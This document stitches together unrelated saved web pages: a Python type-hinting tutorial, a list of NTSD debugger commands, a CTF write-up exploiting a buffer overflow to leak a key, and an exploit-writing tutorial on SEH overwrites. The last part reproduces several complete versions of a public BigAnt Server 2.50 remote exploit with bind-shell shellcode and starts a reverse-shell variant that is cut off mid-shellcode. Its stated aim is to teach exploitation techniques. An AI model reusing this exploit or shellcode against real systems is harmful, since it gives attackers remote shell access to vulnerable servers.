1 | president\_name = "Franklin Delano Roosevelt"  
---|---  
2 | print\(type\(president\_name\)\)  
3 |   
4 | \# Result is:  
5 | \# <class 'str'>  
view raw types\_1.py hosted with ❤ by GitHub

In this case, the variable `president_name` is created as **str** type because
we passed in a string. But Python didn’t know it would be a string until it
actually ran that line of code.

By comparison, a language like Java is _Statically Typed_. To create the same
variable in Java, you have to declare the string explicitly with a **String**
type:

<img src='img/Temp2_4084.png' width='75' height='75' />

1 | String president\_name = "Franklin Delano Roosevelt";  
---|---  
view raw types\_1.java hosted with ❤ by GitHub

Because Java knows ahead of time that `president_name` can only hold a
**String** , it will give you a compile error if you try to do something silly
like store an integer in it or pass it into a function that expects something
other than a String.

#### Why should I care about types?

It’s usually faster to write new code in a dynamically-typed language like
Python because you don’t have to write out all the type declarations by hand.
But when your codebase starts to get large, you’ll inevitably run into lots of
runtime bugs that static typing would have prevented.

Here’s an example of an incredibly common kind of bug in Python:

<img src='img/Temp2_4084.png' width='75' height='75' />

1 | def get\_first\_name\(full\_name\):  
---|---  
2 |  return full\_name.split\(" "\)\[0\]  
3 |   
4 | fallback\_name = \{  
5 |  "first\_name": "UserFirstName",  
6 |  "last\_name": "UserLastName"  
7 | \}  
8 |   
9 | raw\_name = input\("Please enter your name: "\)  
10 | first\_name = get\_first\_name\(raw\_name\)  
11 |   
12 | \# If the user didn't type anything in, use the fallback name  
13 | if not first\_name:  
14 |  first\_name = get\_first\_name\(fallback\_name\)  
15 |   
16 | print\(f"Hi, \{first\_name\}\!"\)  
view raw buggy.py hosted with ❤ by GitHub

All we are doing is asking the user for their name and then printing out “Hi,
<first name>\!”. And if the user doesn’t type anything, we want to print out
“Hi, UserFirstName\!” as a fallback.

This program will work perfectly if you run it and type in a name… _BUT_ it
will crash if you leave the name blank:

[code]

    Traceback (most recent call last):  
      File "test.py", line 14, in <module>  
        first_name = get_first_name(fallback_name)  
      File "test.py", line 2, in get_first_name  
        return full_name.split(" ")[0]  
    AttributeError: 'dict' object has no attribute 'split'
[/code]

The problem is that `fallback_name` isn’t a string — it’s a Dictionary. So
calling `get_first_name` on `fallback_name` fails horribly because it doesn’t
have a `.split()` function.

It’s a simple and obvious bug to fix, but what makes this bug **insidious** is
that you will never know the bug exists until a user happens to run the
program and leave the name blank. You might test the program a thousand times
yourself and never notice this simple bug because you always typed in a name.

Static typing prevents this kind of bug. Before you even try to run the
program, static typing will tell you that you can’t pass `fallback_name` into
`get_first_name()` because it expects a **str** but you are giving it a
**Dict**. Your code editor can even highlight the error as you type\!

When this kind of bug happens in Python, it’s usually not in a simple function
like this. The bug is usually buried several layers down in the code and
triggered because the data passed in is slightly different than previously
expected. To debug it, you have to recreate the user’s input and figure out
where it went wrong. _So much time_ is wasted debugging these easily
preventable bugs.

The good news is that you can now use static typing in Python _if you want
to_. And as of Python 3.6, there’s finally a sane syntax for declaring types.

#### Fixing our buggy program

Let’s update the buggy program by declaring the type of each variable and each
function input/output. Here’s the updated version:

<img src='img/Temp2_4084.png' width='75' height='75' />

1 | from typing import Dict  
---|---  
2 |   
3 | def get\_first\_name\(full\_name: str\) -> str:  
4 |  return full\_name.split\(" "\)\[0\]  
5 |   
6 | fallback\_name: Dict\[str, str\] = \{  
7 |  "first\_name": "UserFirstName",  
8 |  "last\_name": "UserLastName"  
9 | \}  
10 |   
11 | raw\_name: str = input\("Please enter your name: "\)  
12 | first\_name: str = get\_first\_name\(raw\_name\)  
13 |   
14 | \# If the user didn't type anything in, use the fallback name  
15 | if not first\_name:  
16 |  first\_name = get\_first\_name\(fallback\_name\)  
17 |   
18 | print\(f"Hi, \{first\_name\}\!"\)  
view raw buggy with types.py hosted with ❤ by GitHub

In Python 3.6, you declare a variable type like this:

`variable_name: type`

If you are assigning an initial value when you create the variable, it’s as
simple as this:

`my_string: str = "My String Value"`

And you declare a function’s input and output types like this:

`def function_name(parameter1: type) -> return_type:`

It’s pretty simple — just a small tweak to the normal Python syntax. But now
that the types are declared, look what happens when I run the type checker:

[code]

    $ mypy typing_test.py
[/code]

[code]

    test.py:16: error: Argument 1 to "get_first_name" has incompatible type Dict[str, str]; expected "str"
[/code]

Without even executing the program, it knows there’s no way that line 16 will
work\! You can fix the error right now without waiting for a user to discover
it three months from now.

And if you are using an IDE like PyCharm, it will automatically check types
and show you where something is wrong before you even hit “Run”:

<img src='img/Temp2_4085.png' width='75' height='15' /><img
src='img/1*0K13YjrBJYUlJHcNiJiV6g.png' width='700' height='146' />

It’s that easy\!

### More Python 3.6 Typing Syntax Examples

Declaring `str` or `int` variables is simple. The headaches happen when you
are working with more complex data types like nested lists and dictionaries.
Luckily Python 3.6’s new syntax for this isn’t too bad— at least not for a
language that added typing as an afterthought.

The basic pattern is to import the name of the complex data type from the
`typing` module and then pass in the nested types in brackets.

The most common complex data types you’ll use are `Dict`, `List` and `Tuple`.
Here’s what it looks like to use them:

[code]

    **from** typing **import** Dict, List  
      
    
[/code]

[code]

     _# A dictionary where the keys are strings and the values are ints  
      
    _ name_counts: Dict[str, int] = {  
        **"Adam"** : 10,  
        **"Guido"** : 12  
    }
[/code]

[code]

      
    _# A list of integers  
      
    _ numbers: List[int] = [1, 2, 3, 4, 5, 6]  
      
    
[/code]

[code]

    _# A list that holds dicts that each hold a string key / int value  
      
    _ list_of_dicts: List[Dict[str, int]] = [  
        {**"key1"** : 1},  
        {**"key2"** : 2}  
    ]
[/code]

Tuples are a little bit special because they let you declare the type of each
element separately:

[code]

    **from** typing **import** Tuple  
      
    my_data: Tuple[str, int, float] = (**"Adam"** , 10, 5.7)
[/code]

You also create aliases for complex types just by assigning them to a new
name:

[code]

    **from** typing **import** List, Tuple  
      
    LatLngVector = List[Tuple[float, float]]  
      
    points: LatLngVector = [  
        (25.91375, -60.15503),  
        (-11.01983, -166.48477),  
        (-11.01983, -166.48477)  
    ]
[/code]

Sometimes your Python functions might be flexible enough to handle several
different types or work on any data type. You can use the `Union` type to
declare a function that can accept multiple types and you can use `Any` to
accept anything.

Python 3.6 also supports some of the fancy typing stuff you might have seen in
other programming languages like generic types and custom user-defined types.

### Running the Type Checker

While Python 3.6 gives you this syntax for declaring types, there’s absolutely
nothing in Python itself yet that does anything with these type declarations.
To actually enforce type checking, you need to do one of two things:

  1. 1Download the open-source mypy type checker and run it as part of your unit tests or development workflow.
  2. 2Use PyCharm which has built-in type checking in the IDE. Or if you use another editor like Atom, download it’s own type checking plug-in.

I’d recommend doing both. PyCharm and mypy use different type checking
implementations and they can each catch things that the other doesn’t. You can
use PyCharm for realtime type checking and then run mypy as part of your unit
tests as a final verification.

### Great\! Should I start writing all my Python code with type declarations?

This type declaration syntax is very new to Python — it only fully works as of
Python 3.6. If you show your typed Python code to another Python developer,
there’s a good chance they will think you are crazy and not even believe that
the syntax is valid. And the mypy type checker is still under development and
doesn’t claim to be stable yet.

So it might be a bit early to go whole hog on this for all your projects. But
if you are working on a new project where you can make Python 3.6 a minimum
requirement, it might be worth experimenting with typing. It has the potential
to prevent lots of bugs.

One of the neat things is that you easily can mix code with and with out type
declarations. It’s not all-or-nothing. So you can start by declaring types in
the places that are the most valuable without changing all your code. And
since Python itself won’t do anything with these types at runtime, you can’t
accidentally break your program by adding type declarations.

  

# NTSD command list — PenTestIT

**Created:**| _8/18/2009 8:16:11 AM_  
---|---  
**Updated:**| _8/18/2009 8:16:28 AM_  
**Author:**| __  
**Tags:**| _Debugging windows reversing_  
  

# NTSD command list

by BLACK on AUGUST 17, 2009

in MISCELLANEOUS, WINDOWS

We were researching about NTSD, I thought why not post a list of commands that
are of use while working with NTSD.

_**NTSD** is a debugger for WinNT & Win2K that can be used to debug
application bugs and traps._

These are the commands/switches that you might find of use:

.hh - Show Help

.enable\_unicode - Treat USHORT\* as LPWSTR

k - Dump the stack

kb - Dump the stack with Params

kn – Dump the stack with Frame \#

kd - Dump stack dissassembly

r – Dump the registers

~\#s – Change to thread \(Example: ~3s\)

dd \# - Dump the data \(Example: dd 01f056548\)

dt \# - Dump the structure

dc \# – Dump the data/and characters

da \# – Dump the characters

du \# – Dump the Unicode characters

dv – Dump local varialbes

dt – Display Type Information

sx – Set Exception

bp – Set Breakpoint

bl – List Breakpoints

bd – Disable Breakpoint

bd – Clear Breakpoint

\!locks – Show Locks

lm – List the Loaded Modules

\!lmi – Module info \(Ex. \!lmi vbscript\)

\!gle – Get Last Error

.dump – Create a crash dump file

.chain – List loaded extension

.load – Load a debugger extension

.unload – Unload a debugger extension

\!handle - List Handles

\* / . – echo comments

\!sym noisy/quiet – Generate verbose output from symbol loader

.reload – Reload symbols

.server – Start a debugging server

.logopen c:\file.txt – Enable logging to c:\file.txt.

.logappend c:\file.txt – Append log to c:\file.txt.

.logclose – Close log.

.frame \# – Switch to frame number \#.

.kframes \# – Set \# of frames to list.

lmv m\[Module Name\] - Module Info \(Example: lmv mexplorer\)

\!heap – Lists the process heaps -\(Example: \!heap -? Gives help\)

.sympath – Useful for viewing or setting the symbol path.

#### Related External Links

  * Stack trace collection, suspended threads, not my version, special **…**

### Related Posts

  * August 18, 2009 -- Update : FOCA
  * August 16, 2009 -- Effective anti rootkit for windows 32 and 64 bit versions
  * August 14, 2009 -- Windows all in one malware analysis tool
  * August 11, 2009 -- Static code analyzer and program verification system
  * August 7, 2009 -- Centralized Windows administration tool
  * August 6, 2009 -- PaiMei: The Reverse Engineering Framework
  * August 3, 2009 -- Coupon codes : Vexira Antivirus Professional 1 Year Registration Key
  * August 1, 2009 -- Black Hat 2009 July 25-30 archive details
  * July 31, 2009 -- Hyenae: Platform independent network packet generator

  

  *[AUGUST 17, 2009]: 2009-08-17

# PainSec Security Group

**Created:**| _4/26/2011 8:58:33 PM_  
---|---  
**Updated:**| _4/26/2011 8:58:33 PM_  
**Author:**| __  
**Tags:**| _reversing crypto analysis ctf_  
  

Writeup: PCTF \(21 – Key leak – 450pts\)

Here is the write-up for the CTF challenge \#21 organized by the team PPP. I
liked this one pretty much, I think it was a very good challenge a bit tricky
but still a very good one. Congrats to PPP for this original idea  
  

## Description

  
Category: pwnables  
  
We have obtained the binary for AED's internal data encryption service,
running at a9.amalgamated.biz:10240.  
  
Obtain AED's data encryption key.  
  
Download  
---  
  
  
We were the first team to solve this challenge, so we got some extra
breakthrough points, and as far as I'm concerned we where the only ones who
solved it.  
  
first of all lets see what this little service does:  
  
<img src='img/Temp2_6105.png' />  
  
As can be seen in the image, it asks for a username and then for some input to
be ciphered. After some text its supplied it returns the input encrypted, no
more magic, as easy as sounds.  
  
There are only two inputs so finding the overflow is quite easy as anyone
could expect:  
  
<img src='img/Temp2_6107.png' />  
  
Lets see what is happening inside the program:  
  
<img src='img/Temp2_6114.png' />  
  
  
OK, we are overwriting the file descriptor pointer where the log will be
written, but how can exploit this in a profitable way? Lets take a look to the
code where the overflow takes place:  
  
<img src='img/Temp2_6110.png' />  
  
Well... The overflow happens at the snprintf\(\) function, it prevents us from
overwriting RET/EIP due to the 80 chars limit on it, but allows us to
overwrite "int v4" and "FILE \*stream" which are on the stack next to "char
ptr". The variable "int v4" is set to 0 after fwrite\(\) and not used since
the BoF takes place and v4 being set to 0. So again, how could we take profit
of this? We could replace the file descriptor with stdout but we will only get
the logline printed to us which isn't very useful as it only prints a
timestamp and the username previously supplied by us.  
  
Lets take a look to the main code:  
  
<img src='img/Temp2_6115.png' />  
  
  
Just after the writelog\(\) function where the BoF takes place, the key file
is being opened. Does this suggest something to you? Lets inspect the file
descriptors status just after the username has been supplied and the program
asks for the text to be encrypted:  
  
<img src='img/Temp2_6112.png' />  
  
  
OK, now we are going to exploit the BoF to change the log file descriptor and
point it to "stdin":  
  
<img src='img/Temp2_6109.png' />  
  
  
Weird, it says "Key length 0" and "Input length 30", but we didn't supply any
more input than the username... lets inspect the file descriptors again to see
what happened:  
  
<img src='img/Temp2_6106.png' />  
  
  
**Nice\!\!\! When replacing the logfile file descriptor pointer with the one
from stdin, the program closes the logfile \(in this case stdin\) after
writing the log, then it opens the key file which is assigned to the first
free file descriptor number, in this case 0 which matches with stdin,_so now
the program is using the keyfile as input/stdin_.**  
  
This would be a resume about what is happening:  

  1. The program opens the logfile /home/keyleak/log \(file descriptor 5\)
  2. The overflow takes place and we replace the logfile file descriptor pointer with another one pointing to **stdin**
  3. The program closes the logfile descriptor which is now stdin \(file descriptor 0\)
  4. File descriptor 0 is now free and closed so there isn't input/stdin available
  5. The program opens /home/keyleak/key and assigns it the first free file descriptor in this case 0 which is also used for stdin \(file descriptor 0\)
  6. The program reads from user input \(stdin\) to encrypt it, but its really reading /home/keyleak/key
  7. The program reads /home/keyleak/key but as the read offset is already at the end due to the "user input read" it reads 0 bytes
  8. Now the program **encrypts /home/keyleak/key with a NULL key** and returns it to us

  
  
Well this sounds pretty straight forward, but now we have to do the same in
the server to retrieve the key and it has ASLR enabled... Lets see what we can
do about it... These are three runs checking for a stdin pointer address:  
  
Breakpoint 1, \_IO\_fgets \(buf=0xffb2eb28 "", n=0x80, fp=0xb74ef420\) at
iofgets.c:42  
Breakpoint 1, \_IO\_fgets \(buf=0xffa178a8 "", n=0x80, fp=0xb755c420\) at
iofgets.c:42  
Breakpoint 1, \_IO\_fgets \(buf=0xffee09f8 "", n=0x80, fp=0xb7509420\) at
iofgets.c:42  
---  
  
  
ASLR is randomizing 12bits of the file descriptor pointer address so we have
2^12 = 4096 possible addresses, we can bruteforce all the possible addresses
or stay at one of them hoping to match on one of the runs. We tried both and
the first one to success was sticking to one of the addresses. Take a look to
the screenshot bellow for a successful exploitation:  
  
<img src='img/Temp2_6116.png' />  
  
  
We should have redirected the output to a file to be able to extract the
encrypted response which includes non printable characters. But lets see what
we get and what the program returns:  
  
<img src='img/Temp2_6113.png' />  
  
  
It returns multiple data, if you take a look to the main code in one of the
screenshots you will see that those three outputs are:  

  1. IV \(Random data\) for PKCS5\_PBKDF2\_HMAC to derive the key
  2. IV \(Random data\) for EVP\_DecryptInit\_ex to perform the aes 256 cbc encryption
  3. The resulting ciphertext

  
  
With all this information we can now code a program to decrypt the response
and get the key to score some precious points...  
  
<img src='img/Temp2_6108.png' />  
  
  
Note that the code shown has no error checking to make the screenshot smaller.
You can grab the original source code here.  
  
And at last the result of the execution:  
  
<img src='img/Temp2_6111.png' />  
  
So the key was:  

## I grow tomatoes in my garden.

  

# Tutorial write an exploit part 3 SEH | Michele Manzotti
**Created:**| _4/7/2012 11:16:41 AM_  
---|---  
**Updated:**| _4/7/2012 11:16:41 AM_  
**Author:**| __  
**Tags:**| _Exploit Tutorials simplle_  
  

## Tutorial write an exploit part 3 SEH

Scarica l'articolo in formato PDF

In the previous tutorial we have seen some technique of buffer overflow, in
most cases with the aim to overwrite the EIP with a jump esp opcode. Now let’s
see how to exploit a buffer overflow through the technique of SEH.  
SEH, Structured Exception Handler, it’s a component for catching and handling
exceptions. Basically exception handlers are used by programmers when the
program reaches a point of no return, such as a BOF. At this point the
exception handler loads in the memory blocks of code and when it finds one
that resolves the problem, then the program returns to run correctly.  
The exploit takes advantage of this exception handler that loads the
exceptions sequentially and at the beginning of each block exception there is
the address that points to the next exception NEXT SEH.  
So if the current block exception does not solve the problem, the program
reads the NEXT SEH, that is the address that points to the next exception, and
executes the block in that exception, until the end of all exceptions. If it
finds one that can solve the problem, obviously the program ends.

Not all the programs with SEH are vulnerable, but only those where you can
overwrite the SEH NEXT, the address that points to the next except, with
arbitrary memory location. To check whether the program uses a vulnerable SEH
OllyDbg is sufficient to load the plugin OllySSEH.

<img src='img/Temp2_8551.png' width='745' height='53' />

If we can see dlls where the SEH is vulnerable then we could overwrite the SEH
address with a pop pop ret opcode so that program flow is directed to the NEXT
SEH, which will contain a jump to the shellcode .

First of all we look for an application vulnerable to SEH, e.g. BigAnt Server,
as shown by the following exploits tested on a Windows XP SP3 and then we try
to run on Windows 7:

[code]

    #!/usr/bin/python
    # BigAnt Server version 2.50 SEH Overwrite - 0day
    # Written and discovered by Blake
    # Tested on Windows XP SP3
    #
    # $ ./bigant.py 192.168.1.131 6660
    #
    # [*] BigAnt Server v2.50 SEH Overwrite 0day
    # [*] Written and discovered by Blake
    # [*] Tested on Windows XP SP3
    #
    # [+] Connecting to 192.168.1.131 on port 6660
    # [+] Sending payload
    # [+] Connect to bind shell on port 4444
    #
    # $ nc 192.168.1.131 4444
    # Microsoft Windows XP [Version 5.1.2600]
    # (C) Copyright 1985-2001 Microsoft Corp.
    #
    # C:\WINDOWS\system32>
     
    import socket, sys
     
    if len(sys.argv)!= 3:
       print "\n[*] Usage: %s \n" % sys.argv[0]
       sys.exit(0)
     
    host = sys.argv[1]
    port = int(sys.argv[2])     # port 6660 by default
     
    # windows/shell_bind_tcp - 696 bytes  Encoder: x86/alpha_mixed
    # EXITFUNC=seh, LPORT=4444, RHOST=
    shellcode = (
    "\x89\xe2\xdb\xcc\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49\x49\x49"
    "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
    "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
    "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
    "\x4b\x4c\x42\x4a\x4a\x4b\x50\x4d\x4b\x58\x4b\x49\x4b\x4f\x4b"
    "\x4f\x4b\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x46\x44\x4c\x4b"
    "\x50\x45\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x43\x31\x4a"
    "\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x45\x51"
    "\x4a\x4b\x50\x49\x4c\x4b\x47\x44\x4c\x4b\x45\x51\x4a\x4e\x50"
    "\x31\x49\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x44\x34\x43\x37"
    "\x49\x51\x49\x5a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4c\x34\x47"
    "\x4b\x50\x54\x46\x44\x46\x48\x44\x35\x4b\x55\x4c\x4b\x51\x4f"
    "\x46\x44\x43\x31\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c"
    "\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x44\x43\x46\x4c\x4c\x4b"
    "\x4d\x59\x42\x4c\x47\x54\x45\x4c\x43\x51\x49\x53\x50\x31\x49"
    "\x4b\x43\x54\x4c\x4b\x47\x33\x46\x50\x4c\x4b\x47\x30\x44\x4c"
    "\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x47\x30\x43\x38\x51"
    "\x4e\x45\x38\x4c\x4e\x50\x4e\x44\x4e\x4a\x4c\x46\x30\x4b\x4f"
    "\x4e\x36\x45\x36\x46\x33\x43\x56\x45\x38\x47\x43\x46\x52\x42"
    "\x48\x43\x47\x42\x53\x46\x52\x51\x4f\x50\x54\x4b\x4f\x48\x50"
    "\x42\x48\x48\x4b\x4a\x4d\x4b\x4c\x47\x4b\x46\x30\x4b\x4f\x48"
    "\x56\x51\x4f\x4d\x59\x4b\x55\x45\x36\x4b\x31\x4a\x4d\x43\x38"
    "\x45\x52\x46\x35\x43\x5a\x45\x52\x4b\x4f\x48\x50\x45\x38\x49"
    "\x49\x44\x49\x4a\x55\x4e\x4d\x51\x47\x4b\x4f\x48\x56\x51\x43"
    "\x51\x43\x51\x43\x51\x43\x46\x33\x51\x53\x50\x53\x47\x33\x51"
    "\x43\x4b\x4f\x4e\x30\x42\x46\x43\x58\x42\x31\x51\x4c\x45\x36"
    "\x46\x33\x4b\x39\x4d\x31\x4c\x55\x45\x38\x4e\x44\x44\x5a\x42"
    "\x50\x49\x57\x50\x57\x4b\x4f\x49\x46\x42\x4a\x44\x50\x50\x51"
    "\x50\x55\x4b\x4f\x48\x50\x45\x38\x49\x34\x4e\x4d\x46\x4e\x4a"
    "\x49\x46\x37\x4b\x4f\x4e\x36\x50\x53\x46\x35\x4b\x4f\x48\x50"
    "\x43\x58\x4b\x55\x47\x39\x4c\x46\x50\x49\x46\x37\x4b\x4f\x48"
    "\x56\x46\x30\x50\x54\x50\x54\x46\x35\x4b\x4f\x4e\x30\x4c\x53"
    "\x42\x48\x4b\x57\x44\x39\x48\x46\x44\x39\x50\x57\x4b\x4f\x48"
    "\x56\x51\x45\x4b\x4f\x4e\x30\x42\x46\x43\x5a\x42\x44\x42\x46"
    "\x43\x58\x43\x53\x42\x4d\x4c\x49\x4b\x55\x43\x5a\x46\x30\x51"
    "\x49\x51\x39\x48\x4c\x4d\x59\x4d\x37\x42\x4a\x51\x54\x4b\x39"
    "\x4a\x42\x50\x31\x49\x50\x4a\x53\x4e\x4a\x4b\x4e\x50\x42\x46"
    "\x4d\x4b\x4e\x50\x42\x46\x4c\x4a\x33\x4c\x4d\x43\x4a\x47\x48"
    "\x4e\x4b\x4e\x4b\x4e\x4b\x45\x38\x42\x52\x4b\x4e\x4e\x53\x42"
    "\x36\x4b\x4f\x42\x55\x47\x34\x4b\x4f\x49\x46\x51\x4b\x50\x57"
    "\x51\x42\x50\x51\x46\x31\x50\x51\x43\x5a\x43\x31\x50\x51\x50"
    "\x51\x51\x45\x50\x51\x4b\x4f\x48\x50\x42\x48\x4e\x4d\x48\x59"
    "\x45\x55\x48\x4e\x50\x53\x4b\x4f\x49\x46\x42\x4a\x4b\x4f\x4b"
    "\x4f\x47\x47\x4b\x4f\x4e\x30\x4c\x4b\x51\x47\x4b\x4c\x4b\x33"
    "\x48\x44\x45\x34\x4b\x4f\x49\x46\x50\x52\x4b\x4f\x4e\x30\x45"
    "\x38\x4a\x50\x4d\x5a\x43\x34\x51\x4f\x51\x43\x4b\x4f\x4e\x36"
    "\x4b\x4f\x4e\x30\x41\x41")
     
    payload = "\x41" * 985        # seh overwritten at 989
    next_seh = "\xeb\x06\x90\x90"   # short jump 6 bytes
    seh = "\x6a\x19\x9a\x0f"    # p/p/r from vbajet32.dll
    nops = "\x90" * 10        # nop sled
    sc = shellcode            # 710 bytes available for shellcode
     
    print "\n[*] BigAnt Server v2.50 SEH Overwrite 0day"
    print "[*] Written and discovered by Blake"
    print "[*] Tested on Windows XP SP3\n"
     
    print "[+] Connecting to %s on port %d" % (host,port)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
       s.connect((host,port))
    except:
       print "[x] Error establishing connection\n"
       sys.exit(0)
     
    print "[+] Sending payload"
    s.send("GET " + payload + next_seh + seh + nops + sc + "\r\n\r\n")
    s.close()
    print "[+] Connect to bind shell on port 4444\n"
     
    # milw0rm.com [2009-09-15]
[/code]

Our goal is to make it work for Windows 7. With simple fixes we can adapt it
to our needs and at the same time understand how to exploit a BOF with the SEH
technique. Just like in the first tutorial, we calculate the offset:

[code]

    root@bt:/var/www/bigant# /pentest/exploits/framework3/tools/pattern_create.rb 5000
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8A
    [ snip ]
[/code]

And we put it in the exploit:

[code]

    #!/usr/bin/python
    # BigAnt Server version 2.50 SEH Overwrite - 0day
    # Written and discovered by Blake
    # Tested on Windows XP SP3
    #
    # $ ./bigant.py 192.168.1.131 6660
    #
    # [*] BigAnt Server v2.50 SEH Overwrite 0day
    # [*] Written and discovered by Blake
    # [*] Tested on Windows XP SP3
    #
    # [+] Connecting to 192.168.1.131 on port 6660
    # [+] Sending payload
    # [+] Connect to bind shell on port 4444
    #
    # $ nc 192.168.1.131 4444
    # Microsoft Windows XP [Version 5.1.2600]
    # (C) Copyright 1985-2001 Microsoft Corp.
    #
    # C:\WINDOWS\system32&gt;
     
    import socket, sys
     
    if len(sys.argv)!= 3:
       print "\n[*] Usage: %s \n" % sys.argv[0]
       sys.exit(0)
     
    host = sys.argv[1]
    port = int(sys.argv[2])     # port 6660 by default
     
    # windows/shell_bind_tcp - 696 bytes  Encoder: x86/alpha_mixed
    # EXITFUNC=seh, LPORT=4444, RHOST=
    shellcode = ("")
     
    payload = "Aa0Aa1Aa2A..."
    next_seh = "\xeb\x06\x90\x90"   # short jump 6 bytes
    seh = "\x6a\x19\x9a\x0f"    # p/p/r from vbajet32.dll
    nops = "\x90" * 10        # nop sled
    sc = shellcode            # 710 bytes available for shellcode
     
    print "\n[*] BigAnt Server v2.50 SEH Overwrite 0day"
    print "[*] Written and discovered by Blake"
    print "[*] Tested on Windows XP SP3\n"
     
    print "[+] Connecting to %s on port %d" % (host,port)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
       s.connect((host,port))
    except:
       print "[x] Error establishing connection\n"
       sys.exit(0)
     
    print "[+] Sending payload"
    s.send("GET " + payload + "\r\n\r\n")
    s.close()
    print "[+] Connect to bind shell on port 4444\n"
     
    # milw0rm.com [2009-09-15]
[/code]

We attach BigAnt to OllyDbg and launch the exploit.  
Obviously the application crashes, but in “view” -> “seh chain” we can see the
value about SEH \(30684239 in my case\). Now we can calculate the exact offset
for Windows 7:

[code]

    /pentest/exploits/framework3/tools/pattern_offset.rb 30684239 5000
    989
[/code]

This means that the SEH will be overwritten after exactly 989 bytes and the
NEXT SEH after 985 \(989-4\).

So the exploit will be like this:  
**\[985 bytes of payload\] \[NEXT SEH\] \[SEH\] \[nops\] \[shellcode\]**.

NEXT SEH will be overwritten with the address “\xeb\x06\x90\x90″, an
unconditional jump of 6 bytes to point to the nops at the beginning of the
shellcode, and the SEH will be overwritten with an address that points to a
pop pop ret opcode. This is because when an exception occurs, the dispatcher
creates its own frame on the stack. In this frame the NEXT SEH is at ESP +8.
So to overwrite it will be necessary a pop pop ret opcode which pushes 8 bytes
out from the stack and gets the current value from the stack \(top ESP\) and
puts it in the EIP.  
This opcode can be found and exploited in the VBAJET32.dll with “0F9A19CD”
address. So the new exploit will be as the following:

[code]

    #!/usr/bin/python
    # BigAnt Server version 2.50 SEH Overwrite - 0day
    # Written and discovered by Blake
    # Tested on Windows XP SP3
    #
    # $ ./bigant.py 192.168.1.131 6660
    #
    # [*] BigAnt Server v2.50 SEH Overwrite 0day
    # [*] Written and discovered by Blake
    # [*] Tested on Windows XP SP3
    #
    # [+] Connecting to 192.168.1.131 on port 6660
    # [+] Sending payload
    # [+] Connect to bind shell on port 4444
    #
    # $ nc 192.168.1.131 4444
    # Microsoft Windows XP [Version 5.1.2600]
    # (C) Copyright 1985-2001 Microsoft Corp.
    #
    # C:\WINDOWS\system32>
     
    import socket, sys
     
    if len(sys.argv)!= 3:
       print "\n[*] Usage: %s \n" % sys.argv[0]
       sys.exit(0)
     
    host = sys.argv[1]
    port = int(sys.argv[2])     # port 6660 by default
     
    # windows/shell_bind_tcp - 696 bytes  Encoder: x86/alpha_mixed
    # EXITFUNC=seh, LPORT=4444, RHOST=
    shellcode=("\x42" * 2000)
     
    payload = "\x41" * 985        # seh overwritten at 989
    next_seh = "\xeb\x06\x90\x90"   # short jump 6 bytes
    seh = "\xcd\x19\x9a\x0f"    # 0F9A19CD p/p/r from vbajet32.dll
    nops = "\x90" * 10        # nop sled
    sc = shellcode            # 710 bytes available for shellcode
     
    print "\n[*] BigAnt Server v2.50 SEH Overwrite 0day"
    print "[*] Written and discovered by Blake"
    print "[*] Tested on Windows XP SP3\n"
     
    print "[+] Connecting to %s on port %d" % (host,port)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
       s.connect((host,port))
    except:
       print "[x] Error establishing connection\n"
       sys.exit(0)
     
    print "[+] Sending payload"
    s.send("GET " + payload + next_seh + seh + nops + sc + "\r\n\r\n")
    s.close()
    print "[+] Connect to bind shell on port 4444\n"
     
    # milw0rm.com [2009-09-15]
[/code]

Running OllyDbg and setting a breakpoint in the address of pop pop ret
“0F9A19CD” we realize that the application reaches this address \(if not it
means that we have done something wrong\), and after the jump reaches the
shellcode.  
At this point you can replace the shellcode with something more interesting
such as a reverse shell tcp:

[code]

    #!/usr/bin/python
    # BigAnt Server version 2.50 SEH Overwrite - 0day
    # Written and discovered by Blaked
    # Tested on Windows XP SP3
    #
    # $ ./bigant.py 192.168.1.131 6660
    #
    # [*] BigAnt Server v2.50 SEH Overwrite 0day
    # [*] Written and discovered by Blake
    # [*] Tested on Windows XP SP3
    #
    # [+] Connecting to 192.168.1.131 on port 6660
    # [+] Sending payload
    # [+] Connect to bind shell on port 4444
    #
    # $ nc 192.168.1.131 4444
    # Microsoft Windows XP [Version 5.1.2600]
    # (C) Copyright 1985-2001 Microsoft Corp.
    #
    # C:\WINDOWS\system32>
     
    import socket, sys
     
    if len(sys.argv)!= 3:
       print "\n[*] Usage: %s \n" % sys.argv[0]
       sys.exit(0)
     
    host = sys.argv[1]
    port = int(sys.argv[2])     # port 6660 by default
     
    # windows/shell_bind_tcp - 696 bytes  Encoder: x86/alpha_mixed
    # EXITFUNC=seh, LPORT=4444, RHOST=
    shellcode=("\xda\xc9\xd9\x74\x24\xf4\x5d\x55\x59\x49\x49\x49\x49\x49\x49"
    "\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
    "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
    "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49"
    "\x6c\x49\x78\x4f\x79\x47\x70\x43\x30\x45\x50\x45\x30\x4c\x49"
    "\x4d\x35\x46\x51\x48\x52\x45\x34\x4c\x4b\x42\x72\x44\x70\x4e"
    "\x6b\x50\x52\x46\x6c\x4e\x6b\x50\x52\x46\x74\x4e\x6b\x51\x62"
